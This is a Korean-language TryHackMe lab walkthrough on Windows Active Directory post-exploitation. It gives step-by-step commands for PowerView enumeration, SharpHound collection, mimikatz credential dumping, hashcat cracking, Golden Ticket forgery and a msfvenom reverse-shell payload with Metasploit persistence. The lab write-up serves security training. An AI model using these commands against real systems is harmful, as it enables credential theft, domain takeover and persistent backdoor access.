본 문서는 TryHackMe의 "Post-Exploit" 룸을 기반으로 후침투 기법을 설명합니다. Powerview, BloodHound, mimikatz, msfvenom 등 주요 도구를 활용한 실습 위주로 구성되어 있습니다.
1. Powerview를 활용한 도메인 정보 수집
Powerview는 PowerSploit 프레임워크의 PowerShell 스크립트로, 도메인 내 정보 수집에 특화되어 있습니다. SSH로 대상 시스템에 접근한 뒤 활용합니다.
# SSH 접속
ssh Administrator@10.10.119.28
# 비밀번호: P@$$W0rd
# DNS 등록 (선택 사항)
echo "10.10.119.28 CONTROLLER.local" >> /etc/hosts
PowerShell 실행 정책 우회 후 스크립트를 로드합니다.
powershell -ep bypass
Set-ExecutionPolicy Bypass -Scope Process
. .\PowerView.ps1
다음 명령어로 간단한 도메인 열거를 수행합니다.
Get-NetUser | select cn: 도메인 사용자 목록Get-NetGroup -GroupName *admin*: 관리자 그룹 정보Invoke-ShareFinder: 공유 폴더 탐색Get-NetComputer -fulldata | select operatingsystem: 운영체제 정보Get-NetUser -SPN | select cn: Kerberoastable 사용자 식별
2. BloodHound를 이용한 시각적 네트워크 분석
BloodHound는 Neo4j 데이터베이스 기반의 그래프 분석 도구입니다. SharpHound 수집기로 데이터를 수집한 뒤 GUI에서 분석합니다.
SharpHound 배포 및 실행
# 최신 SharpHound.exe 다운로드 후 전송
scp SharpHound.exe Administrator@10.10.119.28:SharpHound.exe
# 대상에서 수집 실행
. .\SharpHound.exe --collectionmethods All --domain CONTROLLER.local --zipfilename loot.zip
결과 파일 전송 및 분석
# 공격자 PC로 전송
scp Administrator@10.10.119.28:20221018104615_loot.zip .
# BloodHound GUI 실행 (Neo4j 먼저 실행)
neo4j console
bloodhound
BloodHound 대시보드에서 수집된 zip 파일을 드래그 앤 드롭하여 데이터를 로드합니다. "Analysis" 탭의 사전 정의된 쿼리를 활용해 권한 상승 경로를 탐색합니다.
3. Mimikatz를 활용한 NTLM Hash 덤프 및 크래킹
Mimikatz는 Windows 시스템에서 자격 증명 추출에 가장 많이 사용되는 도구입니다.
Hash 추출
cd Downloads && mimikatz.exe
privilege::debug
lsadump::lsa /patch
출력된 NTLM Hash 중 타겟 계정의 값을 복사합니다.
Hashcat을 통한 크래킹
# hash.txt 파일에 추출한 해시 저장
echo "Administrator:500:...:..." > hash.txt
hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt
4. Golden Ticket 공격
KRBTGT 계정의 Hash와 SID를 추출하여 아무 도메인 계정의 TGT를 위조합니다.
# KRBTGT 정보 추출
lsadump::lsa /inject /name:krbtgt
# Golden Ticket 생성
kerberos::golden /user:Administrator /domain:CONTROLLER.local /sid:S-1-5-21-... /krbtgt:5508500012cc005cf7082a9a89ebdfdf /id:500
Ticket 생성 후 misc::cmd 명령어로 새로운 cmd 창을 열면 해당 세션은 모든 도메인 리소스에 접근 가능합니다.
5. 서버 관리자 도구를 이용한 정보 수집
RDP를 통해 서버에 접속 후 서버 관리자(Server Manager)의 내장 기능을 활용합니다.
rdesktop -u Administrator -d CONTROLLER 10.10.48.45
# 비밀번호: P@$$W0rd
서버 관리자 > 도구 > "Active Directory 사용자 및 컴퓨터"에서 사용자 설명(Description) 필드를 확인합니다. 관리자 실수로 서비스 계정 비밀번호가 노출된 사례를 발견할 수 있습니다.
6. 지속적 접근(Persistence) 확보
Metasploit의 persistence 모듈을 활용하여 시스템 재부팅 후에도 연결이 유지되도록 설계합니다.
Payload 생성 및 전송
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.14.32.186 LPORT=4444 -f exe -o shell.exe
scp shell.exe Administrator@10.10.48.45:shell.exe
Listener 설정
msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.14.32.186
run
대상에서 shell.exe 실행 후 세션이 생성되면 bg 명령어로 백그라운드로 보냅니다.
Persistence 모듈 적용
use exploit/windows/local/persistence
set session 5
set LHOST 10.14.32.186
run
성공 시 VBS 스크립트와 레지스트리 Run 키가 생성되어 시스템 시작 시 자동 실행됩니다.